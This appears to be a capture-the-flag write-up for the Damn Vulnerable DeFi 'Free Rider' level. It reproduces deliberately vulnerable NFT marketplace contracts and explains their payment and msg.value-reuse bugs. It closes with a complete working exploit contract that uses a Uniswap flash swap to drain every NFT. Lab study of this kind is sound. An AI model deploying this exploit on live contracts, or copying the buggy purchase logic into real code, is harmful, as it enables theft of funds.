Challenge:
Our tenth challenge is called ‘free rider’ and it comes with the following prompt:
A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you've agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
We need to find a way to borrow some ETH, use it to exploit the marketplace, and then pass over the NFTs to the buyer for our commission.
The contracts for this challenge are located in contracts/puppet-v2/. The contract source code can be found below:
FreeRiderNFTMarketplace.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";
/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public token;
uint256 public amountOfOffers;
// tokenId -> price
mapping(uint256 => uint256) private offers;
event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
require(price > 0, "Price must be greater than zero");
require(
msg.sender == token.ownerOf(tokenId),
"Account offering must be the owner"
);
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
receive() external payable {}
}
FreeRiderBuyer.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/**
* @title FreeRiderBuyer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner);
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this));
received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
The hints and solutions for this level can be found below:
Hint 1:
First things first, how can we exploit the marketplace? There are multiple things wrong with the buy functionality.
Hint 2:
The first thing wrong with the buy functionality: it will send the proceeds not to the seller, but to the new owner of the NFT (hopefully you!).
Hint 3:
The second thing wrong with the buy functionality: the callvalue (msg.value) persists for the entire duration of the transaction. By calling the _buyOne()
function inside of a loop, we are passing in the same msg.value to it each time. In other words, for 15 ETH we can buy all of the NFTs.
Hint 4:
Now we need to find a way to borrow 15 ETH.
Resource: https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps
Solution:
Ok, so this one was a lot of fun! We can see that the only functionality offered in the marketplace is to either modify an offer or purchase an NFT. Since the offer modification function has access control protections, we can turn our attention to the buy functionality. The first big issue here is that the payment to the seller is actually not sent to the seller at all. It happens post NFT transfer, which means the owner of the NFT is now actually the purchaser. This is a huge bug, and this alone is enough to complete the level if we can borrow enough ETH to purchase the NFTS (because it will be sent right back!). But, we can do better. If we look closely, the msg.value check occurs within the _buyOne()
function which is in turn called several times by the buyMany()
function. This means that the callvalue or amount in msg.value will persist throughout the entire transaction. All NFTs for the price of one! With these two bugs, we can drain the contract and sell the NFTs to our buyer to pocket nearly 135 ETH total.
The second thing we needed to figure out for this level was how we were going to receive a loan for the initial 15 ETH. When you look through the free-rider-challenge.js
file, we see that there is a uniswap pair set up with WETH and DVT. Using this hint, we can see if a uniswap pair will allow us to borrow WETH (since we can unwrap it) for a flash loan. After a small bit of research, we can see that all swaps on uniswap pairs are actually flash swaps. In other words, by crafting our request in a particular way, we can absolutely borrow WETH and pay it back before the swap transaction finishes! With these two tidbits, we are able to make our exploit contract and beat the level.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const FreeRiderAttackerFactory = await ethers.getContractFactory('FreeRiderAttacker', deployer);
this.fr_attack = await FreeRiderAttackerFactory.connect(attacker).deploy(
this.uniswapPair.address,
this.weth.address,
this.marketplace.address,
this.nft.address,
this.buyerContract.address,
attacker.address
);
await this.fr_attack.attack();
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/*
* @title FreeRiderAttacker.sol
* @author securerodd
*/
interface IWethToken {
function deposit() external payable;
function withdraw(uint256) external payable;
function transfer(address, uint256) external;
}
interface IFreeRiderMarketPlace {
function buyMany(uint256[] calldata) external payable;
}
interface INFT {
function safeTransferFrom(address,address,uint256) external;
}
interface IUniswapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract FreeRiderAttacker {
IWethToken public weth;
IFreeRiderMarketPlace public market;
IUniswapV2Pair public pair;
INFT public nft;
address buyer;
address attacker;
constructor(address _pair, address _weth, address _market, address _nft, address _buyer, address _attacker) {
pair = IUniswapV2Pair(_pair);
weth = IWethToken(_weth);
market = IFreeRiderMarketPlace(_market);
nft = INFT(_nft);
buyer = _buyer;
attacker = _attacker;
}
function attack() public payable{
// make data > 0 in length to turn swap into flash swap
bytes memory data = abi.encode("d");
// flash swap ourselves 15 WETH
pair.swap(15 ether,0,address(this),data);
}
function uniswapV2Call(address, uint, uint, bytes calldata) external {
// Swap weth for ETH
weth.withdraw(15 ether);
// Calculate how much we have to payback for our flashloan
uint256 amountToRepay = (uint256((15 ether * 1000)) / 997) + 1;
// create 'dynamic' array of tokenIDs for our NFT purchase
uint256[] memory tokens = new uint256[](6);
tokens[0] = 0;
tokens[1] = 1;
tokens[2] = 2;
tokens[3] = 3;
tokens[4] = 4;
tokens[5] = 5;
// Use ETH to buy all of the NFTs
market.buyMany{value: 15 ether}(tokens);
// Sell all 6 NFTs to buyer and get the 45 ETH from buyer
for (uint256 i = 0; i < 6;) {
nft.safeTransferFrom(address(this), buyer, i);
unchecked {++i;}
}
// swap ETH for weth
weth.deposit{value: amountToRepay}();
// pay back our flash swap
weth.transfer(address(pair), amountToRepay);
// transfer the spoils to our attacker
payable(attacker).transfer(address(this).balance);
}
// required to receive safeTransferFrom from marketplace
function onERC721Received(
address,
address,
uint256,
bytes memory
)
external pure
returns (bytes4)
{
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}